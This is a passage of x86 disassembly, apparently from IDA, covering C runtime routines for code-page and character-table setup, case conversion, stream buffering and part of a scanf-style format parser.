sub_41FD7B endp ; =============== S U B R O U T I N E ======================================= sub_41FDB3 proc near ; CODE XREF: sub_41F5D4+E5p ; sub_41F5D4+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FDB3 endp ; =============== S U B R O U T I N E ======================================= sub_41FDC0 proc near ; CODE XREF: sub_41F5D4+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FDC0 endp ; =============== S U B R O U T I N E ======================================= sub_41FDD0 proc near ; CODE XREF: sub_41F5D4+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FDD0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDDE proc near ; CODE XREF: sub_4201A2+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_41FF77 mov esi, eax pop ecx cmp esi, dword_4DAB64 mov [ebp+arg_0], esi jz loc_41FF6B xor ebx, ebx cmp esi, ebx jz loc_41FF61 xor edx, edx mov eax, offset dword_43A8A8 loc_41FE12: ; CODE XREF: sub_41FDDE+41j cmp [eax], esi jz short loc_41FE88 add eax, 30h inc edx cmp eax, offset dword_43A998 jl short loc_41FE12 lea eax, [ebp+var_18] push eax push esi nop call near ptr 2670000h cmp eax, 1 jnz loc_41FF59 push 40h xor eax, eax pop ecx mov edi, offset byte_4DAC80 cmp [ebp+var_18], 1 mov dword_4DAB64, esi rep stosd stosb mov dword_4DAD84, ebx jbe loc_41FF47 cmp [ebp+var_12], 0 jz loc_41FF1D lea ecx, [ebp+var_11] loc_41FE65: ; CODE XREF: sub_41FDDE+139j mov dl, [ecx] test dl, dl jz loc_41FF1D movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FE76: ; CODE XREF: sub_41FDDE+A8j cmp eax, edx ja loc_41FF11 or byte_4DAC81[eax], 4 inc eax jmp short loc_41FE76 ; --------------------------------------------------------------------------- loc_41FE88: ; CODE XREF: sub_41FDDE+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DAC80 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43A8B8[esi] loc_41FEA4: ; CODE XREF: sub_41FDDE+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FED7 loc_41FEAB: ; CODE XREF: sub_41FDDE+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FED7 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FED0 mov edx, [ebp+var_4] mov dl, byte_43A8A0[edx] loc_41FEC5: ; CODE XREF: sub_41FDDE+F0j or byte_4DAC81[eax], dl inc eax cmp eax, edi jbe short loc_41FEC5 loc_41FED0: ; CODE XREF: sub_41FDDE+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FEAB loc_41FED7: ; CODE XREF: sub_41FDDE+CBj ; sub_41FDDE+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FEA4 mov eax, [ebp+arg_0] mov dword_4DAB7C, 1 push eax mov dword_4DAB64, eax call sub_41FFC1 lea esi, dword_43A8AC[esi] mov edi, offset dword_4DAB70 movsd movsd pop ecx mov dword_4DAD84, eax movsd jmp short loc_41FF66 ; --------------------------------------------------------------------------- loc_41FF11: ; CODE XREF: sub_41FDDE+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FE65 loc_41FF1D: ; CODE XREF: sub_41FDDE+7Ej ; sub_41FDDE+8Bj push 1 pop eax loc_41FF20: ; CODE XREF: sub_41FDDE+14Fj or byte_4DAC81[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FF20 push esi call sub_41FFC1 pop ecx mov dword_4DAD84, eax mov dword_4DAB7C, 1 jmp short loc_41FF4D ; --------------------------------------------------------------------------- loc_41FF47: ; CODE XREF: sub_41FDDE+74j mov dword_4DAB7C, ebx loc_41FF4D: ; CODE XREF: sub_41FDDE+167j xor eax, eax mov edi, offset dword_4DAB70 stosd stosd stosd jmp short loc_41FF66 ; --------------------------------------------------------------------------- loc_41FF59: ; CODE XREF: sub_41FDDE+51j cmp dword_4D979C, ebx jz short loc_41FF6F loc_41FF61: ; CODE XREF: sub_41FDDE+27j call sub_41FFF4 loc_41FF66: ; CODE XREF: sub_41FDDE+131j ; sub_41FDDE+179j call sub_42001D loc_41FF6B: ; CODE XREF: sub_41FDDE+1Dj xor eax, eax jmp short loc_41FF72 ; --------------------------------------------------------------------------- loc_41FF6F: ; CODE XREF: sub_41FDDE+181j or eax, 0FFFFFFFFh loc_41FF72: ; CODE XREF: sub_41FDDE+18Fj pop edi pop esi pop ebx leave retn sub_41FDDE endp ; =============== S U B R O U T I N E ======================================= sub_41FF77 proc near ; CODE XREF: sub_41FDDE+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4D979C, 0 cmp eax, 0FFFFFFFEh jnz short loc_41FF97 mov dword_4D979C, 1 nop jmp near ptr 2660A45h ; --------------------------------------------------------------------------- loc_41FF97: ; CODE XREF: sub_41FF77+Ej cmp eax, 0FFFFFFFDh jnz short loc_41FFAC mov dword_4D979C, 1 nop jmp near ptr 2660A61h ; --------------------------------------------------------------------------- loc_41FFAC: ; CODE XREF: sub_41FF77+23j cmp eax, 0FFFFFFFCh jnz short locret_41FFC0 mov eax, dword_4D97E0 mov dword_4D979C, 1 locret_41FFC0: ; CODE XREF: sub_41FF77+38j retn sub_41FF77 endp ; =============== S U B R O U T I N E ======================================= sub_41FFC1 proc near ; CODE XREF: sub_41FDDE+118p ; sub_41FDDE+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_41FFEE sub eax, 4 jz short loc_41FFE8 sub eax, 0Dh jz short loc_41FFE2 dec eax jz short loc_41FFDC xor eax, eax retn ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FFC1+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_41FFE2: ; CODE XREF: sub_41FFC1+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_41FFE8: ; CODE XREF: sub_41FFC1+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_41FFEE: ; CODE XREF: sub_41FFC1+9j mov eax, 411h retn sub_41FFC1 endp ; =============== S U B R O U T I N E ======================================= sub_41FFF4 proc near ; CODE XREF: sub_41FDDE:loc_41FF61p push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DAC80 rep stosd stosb xor eax, eax mov edi, offset dword_4DAB70 mov dword_4DAB64, eax mov dword_4DAB7C, eax mov dword_4DAD84, eax stosd stosd stosd pop edi retn sub_41FFF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42001D proc near ; CODE XREF: sub_41FDDE:loc_41FF66p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DAB64 call near ptr 2670000h nop cmp eax, 1 jnz loc_420156 xor eax, eax mov esi, 100h loc_420047: ; CODE XREF: sub_42001D+34j mov [ebp+eax+var_114], al loc_42004E: ; DATA XREF: ___:004328B8o ; ___:004328C4o inc eax cmp eax, esi jb short loc_420047 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420098 push ebx push edi lea edx, [ebp+var_D] loc_420066: ; CODE XREF: sub_42001D+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_42008D sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_42008D: ; CODE XREF: sub_42001D+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420066 pop edi pop ebx loc_420098: ; CODE XREF: sub_42001D+42j push 0 lea eax, [ebp+var_514] push dword_4DAD84 push dword_4DAB64 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423BF4 push 0 lea eax, [ebp+var_214] push dword_4DAB64 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DAD84 call sub_4229D2 push 0 lea eax, [ebp+var_314] push dword_4DAB64 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DAD84 call sub_4229D2 add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_420113: ; CODE XREF: sub_42001D+135j mov dx, [ecx] test dl, 1 jz short loc_420131 or byte_4DAC81[eax], 10h mov dl, [ebp+eax+var_214] loc_420129: ; CODE XREF: sub_42001D+127j mov byte_4DAB80[eax], dl jmp short loc_42014D ; --------------------------------------------------------------------------- loc_420131: ; CODE XREF: sub_42001D+FCj test dl, 2 jz short loc_420146 or byte_4DAC81[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_420129 ; --------------------------------------------------------------------------- loc_420146: ; CODE XREF: sub_42001D+117j and byte_4DAB80[eax], 0 loc_42014D: ; CODE XREF: sub_42001D+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_420113 jmp short loc_42019F ; --------------------------------------------------------------------------- loc_420156: ; CODE XREF: sub_42001D+1Dj xor eax, eax mov esi, 100h loc_42015D: ; CODE XREF: sub_42001D+180j cmp eax, 41h jb short loc_42017B cmp eax, 5Ah ja short loc_42017B or byte_4DAC81[eax], 10h mov cl, al add cl, 20h loc_420173: ; CODE XREF: sub_42001D+174j mov byte_4DAB80[eax], cl jmp short loc_42019A ; --------------------------------------------------------------------------- loc_42017B: ; CODE XREF: sub_42001D+143j ; sub_42001D+148j cmp eax, 61h jb short loc_420193 cmp eax, 7Ah ja short loc_420193 or byte_4DAC81[eax], 20h mov cl, al sub cl, 20h jmp short loc_420173 ; --------------------------------------------------------------------------- loc_420193: ; CODE XREF: sub_42001D+161j ; sub_42001D+166j and byte_4DAB80[eax], 0 loc_42019A: ; CODE XREF: sub_42001D+15Cj inc eax cmp eax, esi jb short loc_42015D loc_42019F: ; CODE XREF: sub_42001D+137j pop esi leave retn sub_42001D endp ; =============== S U B R O U T I N E ======================================= sub_4201A2 proc near ; CODE XREF: ___:00422D83p ; ___:00422DDFp ... cmp dword_4DADAC, 0 jnz short locret_4201BD push 0FFFFFFFDh call sub_41FDDE pop ecx mov dword_4DADAC, 1 locret_4201BD: ; CODE XREF: sub_4201A2+7j retn sub_4201A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4201BE proc near ; CODE XREF: sub_41C151+2Bp ; sub_41C151+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DAB7C, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4201E2 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41BD70 add esp, 0Ch jmp short loc_420245 ; --------------------------------------------------------------------------- loc_4201E2: ; CODE XREF: sub_4201BE+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_420227 mov ecx, [ebp+arg_4] loc_4201ED: ; CODE XREF: sub_4201BE+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DAC81[esi], 4 mov [edi], al jz short loc_420211 inc edi inc ecx test edx, edx jz short loc_42021D mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_420223 jmp short loc_420217 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4201BE+3Ej inc edi inc ecx test al, al jz short loc_420227 loc_420217: ; CODE XREF: sub_4201BE+51j test edx, edx jnz short loc_4201ED jmp short loc_420227 ; --------------------------------------------------------------------------- loc_42021D: ; CODE XREF: sub_4201BE+44j and byte ptr [edi-1], 0 jmp short loc_420227 ; --------------------------------------------------------------------------- loc_420223: ; CODE XREF: sub_4201BE+4Fj and byte ptr [edi-2], 0 loc_420227: ; CODE XREF: sub_4201BE+2Aj ; sub_4201BE+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_420242 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_420242: ; CODE XREF: sub_4201BE+6Fj mov eax, [ebp+arg_0] loc_420245: ; CODE XREF: sub_4201BE+22j pop edi pop ebp retn sub_4201BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420248 proc near ; CODE XREF: sub_41C326+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4D97D0, 0 push ebx jnz short loc_420273 mov eax, [ebp+arg_0] cmp eax, 61h jl loc_420311 cmp eax, 7Ah jg loc_420311 sub eax, 20h jmp loc_420311 ; --------------------------------------------------------------------------- loc_420273: ; CODE XREF: sub_420248+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_4202A6 cmp dword_43A88C, 1 jle short loc_420293 push 2 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_42029E ; --------------------------------------------------------------------------- loc_420293: ; CODE XREF: sub_420248+3Dj mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 2 loc_42029E: ; CODE XREF: sub_420248+49j test eax, eax jnz short loc_4202A6 loc_4202A2: ; CODE XREF: sub_420248+AFj mov eax, ebx jmp short loc_420311 ; --------------------------------------------------------------------------- loc_4202A6: ; CODE XREF: sub_420248+34j ; sub_420248+58j mov edx, off_43A680 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4202C9 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_4202D2 ; --------------------------------------------------------------------------- loc_4202C9: ; CODE XREF: sub_420248+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_4202D2: ; CODE XREF: sub_420248+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4D97D0 call sub_4229D2 add esp, 20h test eax, eax jz short loc_4202A2 cmp eax, 1 jnz short loc_420304 movzx eax, [ebp+var_4] jmp short loc_420311 ; --------------------------------------------------------------------------- loc_420304: ; CODE XREF: sub_420248+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_420311: ; CODE XREF: sub_420248+14j ; sub_420248+1Dj ... pop ebx leave retn sub_420248 endp ; =============== S U B R O U T I N E ======================================= sub_420314 proc near ; CODE XREF: sub_41C545+1Dp ; sub_41DB5E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4D9718, ecx mov eax, offset dword_43A998 loc_420325: ; CODE XREF: sub_420314+1Ej cmp ecx, [eax] jz short loc_420349 add eax, 8 inc edx cmp eax, offset dword_43AB00 jl short loc_420325 cmp ecx, 13h jb short loc_420356 cmp ecx, 24h ja short loc_420356 mov dword_4D9714, 0Dh retn ; --------------------------------------------------------------------------- loc_420349: ; CODE XREF: sub_420314+13j mov eax, dword_43A99C[edx*8] mov dword_4D9714, eax retn ; --------------------------------------------------------------------------- loc_420356: ; CODE XREF: sub_420314+23j ; sub_420314+28j cmp ecx, 0BCh jb short loc_420370 cmp ecx, 0CAh mov dword_4D9714, 8 jbe short locret_42037A loc_420370: ; CODE XREF: sub_420314+48j mov dword_4D9714, 16h locret_42037A: ; CODE XREF: sub_420314+5Aj retn sub_420314 endp ; =============== S U B R O U T I N E ======================================= sub_42037B proc near ; CODE XREF: sub_41C56F+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423D3D test eax, eax pop ecx jz short loc_420404 cmp esi, offset dword_43AD98 jnz short loc_420399 xor eax, eax jmp short loc_4203A4 ; --------------------------------------------------------------------------- loc_420399: ; CODE XREF: sub_42037B+18j cmp esi, offset dword_43ADB8 jnz short loc_420404 push 1 pop eax loc_4203A4: ; CODE XREF: sub_42037B+1Cj inc dword_4D98FC test word ptr [esi+0Ch], 10Ch jnz short loc_420404 cmp dword_4D97A0[eax*4], 0 push ebx push edi lea edi, ds:4D97A0h[eax*4] mov ebx, 1000h jnz short loc_4203EA push ebx call sub_41BC9B test eax, eax pop ecx mov [edi], eax jnz short loc_4203EA lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4203F7 ; --------------------------------------------------------------------------- loc_4203EA: ; CODE XREF: sub_42037B+4Dj ; sub_42037B+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4203F7: ; CODE XREF: sub_42037B+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420404: ; CODE XREF: sub_42037B+10j ; sub_42037B+24j ... xor eax, eax pop esi retn sub_42037B endp ; =============== S U B R O U T I N E ======================================= sub_420408 proc near ; CODE XREF: sub_41C56F+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420432 mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420443 push esi call sub_41E32B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420432: ; CODE XREF: sub_420408+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420443 push eax call sub_41E32B pop ecx loc_420443: ; CODE XREF: sub_420408+10j ; sub_420408+32j pop esi retn sub_420408 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420445 proc near ; CODE XREF: sub_41CA73+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_420E4B mov edi, [ebp+arg_0] jmp short loc_420474 ; --------------------------------------------------------------------------- loc_42046F: ; CODE XREF: sub_420445+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420474: ; CODE XREF: sub_420445+28j cmp dword_43A88C, 1 jle short loc_42048C movzx eax, al push 8 push eax call sub_41F44A pop ecx pop ecx jmp short loc_42049B ; --------------------------------------------------------------------------- loc_42048C: ; CODE XREF: sub_420445+36j mov ecx, off_43A680 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_42049B: ; CODE XREF: sub_420445+45j cmp eax, ebx jz short loc_4204D5 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_420ED2 pop ecx pop ecx push eax call sub_420EBB movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DE10 add esp, 0Ch loc_4204C3: ; CODE XREF: sub_420445+8Ej test eax, eax jz short loc_4204D5 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DE10 pop ecx jmp short loc_4204C3 ; --------------------------------------------------------------------------- loc_4204D5: ; CODE XREF: sub_420445+58j ; sub_420445+80j cmp byte ptr [esi], 25h jnz loc_420DB7 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_42050C: ; CODE XREF: sub_420445+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43A88C, 1 jle short loc_420529 movzx eax, bl push 4 push eax call sub_41F44A pop ecx pop ecx jmp short loc_420538 ; --------------------------------------------------------------------------- loc_420529: ; CODE XREF: sub_420445+D3j mov ecx, off_43A680 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420538: ; CODE XREF: sub_420445+E2j test eax, eax jz short loc_42054E mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_42054E: ; CODE XREF: sub_420445+F5j cmp ebx, 4Eh jg short loc_420591 jz short loc_4205B3 cmp ebx, 2Ah jz short loc_42058C cmp ebx, 46h jz short loc_4205B3 cmp ebx, 49h jz short loc_42056E cmp ebx, 4Ch jnz short loc_4205A0 inc [ebp+var_D] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_42056E: ; CODE XREF: sub_420445+11Dj cmp byte ptr [esi+1], 36h jnz short loc_4205A0 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_4205A0 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_42058C: ; CODE XREF: sub_420445+113j inc [ebp+var_E] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_420591: ; CODE XREF: sub_420445+10Cj cmp ebx, 68h jz short loc_4205AD cmp ebx, 6Ch jz short loc_4205A5 cmp ebx, 77h jz short loc_4205A8 loc_4205A0: ; CODE XREF: sub_420445+122j ; sub_420445+12Dj ... inc [ebp+var_F] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_4205A5: ; CODE XREF: sub_420445+154j inc [ebp+var_D] loc_4205A8: ; CODE XREF: sub_420445+159j inc [ebp+var_5] jmp short loc_4205B3 ; --------------------------------------------------------------------------- loc_4205AD: ; CODE XREF: sub_420445+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_4205B3: ; CODE XREF: sub_420445+107j ; sub_420445+10Ej ... cmp [ebp+var_F], 0 jz loc_42050C cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_4205D8 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_4205D8: ; CODE XREF: sub_420445+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_4205F6 mov al, [esi] cmp al, 53h jz short loc_4205F2 cmp al, 43h jz short loc_4205F2 or [ebp+var_5], 0FFh jmp short loc_4205F6 ; --------------------------------------------------------------------------- loc_4205F2: ; CODE XREF: sub_420445+1A1j ; sub_420445+1A5j mov [ebp+var_5], 1 loc_4205F6: ; CODE XREF: sub_420445+19Bj ; sub_420445+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_42062F cmp esi, 63h jz short loc_420620 cmp esi, 7Bh jz short loc_420620 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_420ED2 pop ecx jmp short loc_42062B ; --------------------------------------------------------------------------- loc_420620: ; CODE XREF: sub_420445+1C5j ; sub_420445+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_420EA1 loc_42062B: ; CODE XREF: sub_420445+1D9j pop ecx mov [ebp+var_14], eax loc_42062F: ; CODE XREF: sub_420445+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_42063F cmp [ebp+var_C], eax jz loc_420E1B loc_42063F: ; CODE XREF: sub_420445+1EFj cmp esi, 6Fh jg loc_4208A6 jz loc_420B58 cmp esi, 63h jz loc_420883 cmp esi, 64h jz loc_420B58 jle loc_4208D0 cmp esi, 67h jle short loc_4206A3 cmp esi, 69h jz short loc_42068B cmp esi, 6Eh jnz loc_4208D0 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_420D86 jmp loc_420DAC ; --------------------------------------------------------------------------- loc_42068B: ; CODE XREF: sub_420445+229j push 64h pop esi loc_42068E: ; CODE XREF: sub_420445+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_420918 mov [ebp+var_17], 1 jmp loc_42091D ; --------------------------------------------------------------------------- loc_4206A3: ; CODE XREF: sub_420445+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_4206BF mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_4206C4 ; --------------------------------------------------------------------------- loc_4206BF: ; CODE XREF: sub_420445+26Aj cmp ebx, 2Bh jnz short loc_4206DB loc_4206C4: ; CODE XREF: sub_420445+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4206DE ; --------------------------------------------------------------------------- loc_4206DB: ; CODE XREF: sub_420445+27Dj mov edi, [ebp+arg_0] loc_4206DE: ; CODE XREF: sub_420445+294j cmp [ebp+var_20], 0 jz short loc_4206ED cmp [ebp+var_C], 15Dh jle short loc_4206F4 loc_4206ED: ; CODE XREF: sub_420445+29Dj mov [ebp+var_C], 15Dh loc_4206F4: ; CODE XREF: sub_420445+2A6j ; sub_420445+2F2j cmp dword_43A88C, 1 jle short loc_420709 push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420714 ; --------------------------------------------------------------------------- loc_420709: ; CODE XREF: sub_420445+2B6j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420714: ; CODE XREF: sub_420445+2C2j test eax, eax jz short loc_420739 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420739 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4206F4 ; --------------------------------------------------------------------------- loc_420739: ; CODE XREF: sub_420445+2D1j ; sub_420445+2DBj cmp byte_43A890, bl jnz short loc_4207A7 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4207A7 inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax mov al, byte_43A890 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_420762: ; CODE XREF: sub_420445+360j cmp dword_43A88C, 1 jle short loc_420777 push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420782 ; --------------------------------------------------------------------------- loc_420777: ; CODE XREF: sub_420445+324j mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420782: ; CODE XREF: sub_420445+330j test eax, eax jz short loc_4207A7 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_4207A7 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420762 ; --------------------------------------------------------------------------- loc_4207A7: ; CODE XREF: sub_420445+2FAj ; sub_420445+304j ... cmp [ebp+var_1C], 0 jz loc_42083F cmp ebx, 65h jz short loc_4207BF cmp ebx, 45h jnz loc_42083F loc_4207BF: ; CODE XREF: sub_420445+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42083F mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_4207E6 mov [esi], al inc esi jmp short loc_4207EB ; --------------------------------------------------------------------------- loc_4207E6: ; CODE XREF: sub_420445+39Aj cmp ebx, 2Bh jnz short loc_420809 loc_4207EB: ; CODE XREF: sub_420445+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_4207FA and [ebp+var_C], eax jmp short loc_420809 ; --------------------------------------------------------------------------- loc_4207FA: ; CODE XREF: sub_420445+3AEj ; sub_420445+3F8j inc [ebp+var_4] push edi call sub_420EA1 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420809: ; CODE XREF: sub_420445+3A4j ; sub_420445+3B3j cmp dword_43A88C, 1 jle short loc_42081E push 4 push ebx call sub_41F44A pop ecx pop ecx jmp short loc_420829 ; --------------------------------------------------------------------------- loc_42081E: ; CODE XREF: sub_420445+3CBj mov eax, off_43A680 mov al, [eax+ebx*2] and eax, 4 loc_420829: ; CODE XREF: sub_420445+3D7j test eax, eax jz short loc_42083F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_42083F inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_4207FA ; --------------------------------------------------------------------------- loc_42083F: ; CODE XREF: sub_420445+366j ; sub_420445+374j ... dec [ebp+var_4] push edi push ebx call sub_420EBB cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_420E4B cmp 